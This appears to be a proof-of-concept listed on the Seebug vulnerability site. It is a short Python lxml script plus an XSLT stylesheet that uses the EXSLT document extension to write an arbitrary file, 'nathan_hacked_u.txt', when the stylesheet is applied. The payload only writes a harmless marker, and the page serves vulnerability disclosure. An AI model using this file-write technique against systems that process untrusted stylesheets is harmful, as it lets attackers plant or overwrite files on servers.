# test_transform.py from lxml import etree as et xslFilePath = "test.xslt" f = open(xslFilePath, 'r') xslt_doc = et.parse(f) f.close() output = "<root>test</root>" # generate transformer transform = et.XSLT(xslt_doc) # transform the XML xmlDoc = et.fromstring(output) transformedOutput = transform(xmlDoc) html = et.tostring(transformedOutput) if not html: output = 'Loading...' else: output = html print(output) <!-- test.xslt --> <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> <xsl:template match="/"> <exsl:document href="nathan_hacked_u.txt" method="text"> <xsl:text>hello :^)</xsl:text> </exsl:document> </xsl:template> </xsl:stylesheet>
暂无临时解决方案
暂无官方解决方案
暂无防护方案
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论